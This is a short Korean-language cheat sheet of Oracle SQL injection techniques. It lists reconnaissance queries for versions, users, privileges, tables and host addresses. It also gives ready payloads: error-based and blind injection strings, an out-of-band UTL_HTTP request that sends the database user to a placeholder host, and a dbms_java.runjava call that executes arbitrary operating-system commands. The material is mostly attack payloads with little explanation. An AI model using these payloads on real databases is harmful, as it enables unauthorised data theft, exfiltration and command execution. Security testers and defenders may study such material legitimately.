Oracle SQL Injection

Oracle SQL Injection

DB 버전 확인 : v$version 조회

SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’; SELECT version FROM v$instance;

현재 DB명 확인 : global_name 조회

SELECT global_name FROM global_name; SELECT name FROM v$database; SELECT instance_name FROM v$instance; SELECT SYS.DATABASE_NAME FROM DUAL;

DB 리스트 확인 :

SELECT DISTINCT owner FROM all_tables;

DB 유저명 확인: Select user From dual

SELECT username FROM all_users ORDER BY username; SELECT name FROM sys.user$;

권한 확인 :

SELECT * FROM session_privs; — current privs SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;

테이블 리스트 확인 : 

SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables;

테이블 리스트 한 문장으로 가져오기

select rtrim(xmlagg(xmlelement(e, table_name || ‘,’)).extract(‘//text()’).extract(‘//text()’) ,’,') from all_tables

컬럼 리스트확인 : SELECT * FROM cols - 현재 DB의 모든 컬럼 리스트

SELECT column_name FROM all_tab_columns WHERE table_name = ‘테이블명’; SELECT column_name FROM all_tab_columns WHERE table_name = ‘테이블명’ and owner = ‘ DB명’;

Host IP주소 확인 :

SELECT UTL_INADDR.get_host_name FROM dual; SELECT host_name FROM v$instance; SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — gets hostnames

Case 구문 :

SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1 SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2

Limit 기능 구현 : 

select * from (select rownum rnum, table.* from table) A where A.rnum between 5 and 13;

Error based SQL injection

컬럼 갯수 파악 :  숫자를 늘려가면서 컬럼 갯수 파악

데이터조회 : DB명, 버전, 유저명등

1 and utl_inaddr.get_host_name((select global_name from global_name)) <>1--

Blind SQL Injection

데이터 확인 : 
    True
    
   
    False
    

1 and ascii(substr((select user from dual),1,1))=83--

Out-of-band SQL Injection

1' || UTL_HTTP.request('host'||(select user from dual))

dbms_java.runjava 함수를 이용해 ORACLE DBMS에 임의의 명령어를 실행시키는 방법

select dbms_java.runjava('com/sun/tools/script/shellMain -e "var p= java.lang.Runtime.getRuntime().exec("$cmd"),"')from dual